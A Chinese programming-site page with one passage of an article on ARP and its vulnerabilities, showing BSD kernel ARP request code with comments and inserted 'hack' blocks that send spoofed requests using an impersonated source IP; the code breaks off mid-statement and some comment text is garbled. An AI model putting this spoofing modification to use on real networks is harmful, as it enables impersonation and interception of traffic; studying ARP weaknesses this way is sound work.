赞助连接

赞助连接

阅 读 文 章

ARP地址解析协议详解及其漏洞分析

[来源:网上转载 (http://www.chinaunix.net) | 作者:网友(xie_minix) | 时间:2007-05-27 | 浏览:人次 ]


MH_ALIGN(m, sizeof(*ea) + sizeof(llcx));
(void)memcpy(mtod(m, caddr_t), llcx, sizeof(llcx));

(void)memcpy(sa.sa_data, etherbroadcastaddr, 6);

(void)memcpy(sa.sa_data + 6, enaddr, 6);
sa.sa_data[6] |= TR_RII;
sa.sa_data[12] = TR_AC;
sa.sa_data[13] = TR_LLC_FRAME;
ea = (struct ether_arp *)(mtod(m, char *) + sizeof(llcx));
bzero((caddr_t)ea, sizeof (*ea));
ea->;arp_hrd = htons(ARPHRD_IEEE802);
break;
case IFT_FDDI:
case IFT_ETHER:/*以太网协议和FDDI协议大体上相同*/

default:
m->;m_len = sizeof(*ea);/*ARP结构大小*/
m->;m_pkthdr.len = sizeof(*ea);
/*(下面的)此宏的意思是把m->;m_data的指针进行调整(按32位对齐)
#define MH_ALIGN(m, len) do { \
(m)->;m_data += (MHLEN - (len)) & ~(sizeof(long) - 1); \
} while (0)
*/
MH_ALIGN(m, sizeof(*ea));
ea = mtod(m, struct ether_arp *);/*重新定位ARP头部指针()*/
eh = (struct ether_header *)sa.sa_data;
bzero((caddr_t)ea, sizeof (*ea));
eh->;ether_type = htons(ETHERTYPE_ARP);
/*hack:------------------------*/
if ((hackarp==1) && (trueip==1))/*在发送请求包时,有两种方法:1,发送原来老的IP的请求,目的硬件地址是广播地址*/
{ /* 2,发送新的(冒充的)IP的请求,目的地址?嵌苑降挠布?刂?(在上面发送后,对方会回应)*/
(void)memcpy(eh->;ether_dhost, ithardaddr, 6); /* 只要回应了,把对方的IP,硬件地址记录下后,trueip设置为1,再发送*/
}else{
/*end-------------------------*/
(void)memcpy(eh->;ether_dhost, etherbroadcastaddr,/*发送ARP请求包到以太网络的广播地址*/
    sizeof(eh->;ether_dhost));
/*hack:------------------------*/
}
/*end-------------------------*/
ea->;arp_hrd = htons(ARPHRD_ETHER);/*0800是IP包,ARPHRD_ETHER是ARP包*/
break;
}
ea->;arp_pro = htons(ETHERTYPE_IP);  /*IP类型*/
ea->;arp_hln = sizeof(ea->;arp_sha); /* 硬件地址长度 */
ea->;arp_pln = sizeof(ea->;arp_spa); /* 协议地址长度 */
ea->;arp_op = htons(ARPOP_REQUEST);  /*ARP包的操作类型,即该出是请求*/
(void)memcpy(ea->;arp_sha, enaddr, sizeof(ea->;arp_sha));/*本卡的硬件地址*/
/*hack:------------------------*/
if (hackarp==1) {
if (trueip==1)/*当要发送冒充的IP时,*/
{
/*end-------------------------*/
(void)memcpy(ea->;arp_spa, sip, sizeof(ea->;arp_tpa));/*本卡的IP地址*/ 
/*hack:------------------------*/
trueip=0;
arphacklock=0;/*解锁,之后ithardaddr变量可被操作*/
}else{
if (oldip.s_addr!=NULL)/*当然,这是用老的IP向广播地址发ARP请求包*/
论坛热门帖子: [lch203] 写得蛮好的linux学习笔记(10-21)
[黑马制造] 学习java的30个目标(10-19)
[笑傲股林] 做测试半年了,有点迷茫,应该再学些什么提高自己的测试水平和测试能力呢?(10-19)
[udp8589] 大家用google的来吱一声? 用百度的~~也来报道下?(10-18)
[沂偌掳兆] 本人总结的一些认为C++比较经典的书籍,希望对大家有用(10-18)
TAG标签: 及其 漏洞 分析 详解 协议 地址 解析 ARP IP if ea- 路由

最新评论 共有0位网友发表了评论

发表评论

评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名:(注册)
密码:
验证码:
匿名发表

网站地图友情连接交流论坛网站投稿广告服务联系我们留言本站长统计
Some rights reserved: www.chmhome.com, 鄂ICP备07010232号 E-mail:chinakafei@live.com,QQ:552766
中国咖啡技术网(Chmhome):国外编程技术书籍,中文编程手册,经典编程文章,交流技术,技术软件下载,计算机论文,毕业论文.